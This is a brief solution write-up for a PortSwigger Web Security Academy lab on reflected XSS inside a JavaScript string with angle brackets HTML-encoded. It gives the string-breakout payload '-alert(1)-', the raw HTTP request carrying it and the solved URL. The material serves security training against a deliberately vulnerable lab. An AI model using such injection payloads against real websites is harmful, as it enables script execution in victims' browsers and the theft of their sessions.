Port Swigger Reflected XSS into a JavaScript strin
Reflected XSS into a JavaScript string with angle brackets HTML encoded
Solution
Open website: https://0ae0002b03b41d3b804803b500940003.web-security-academy.net/
https://0ae0002b03b41d3b804803b500940003.web-security-academy.net/
Input payload in the search field: '-alert(1)-'
---
GET /?search=%27-alert%281%29-%27 HTTP/2
Host: 0ae0002b03b41d3b804803b500940003.web-security-academy.net
Cookie: session=HRESokSFzzBeFtCzA7S7ZkWPeFE3k9G2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ae0002b03b41d3b804803b500940003.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Solved
https://0ae0002b03b41d3b804803b500940003.web-security-academy.net/?search=%27-alert%281%29-%27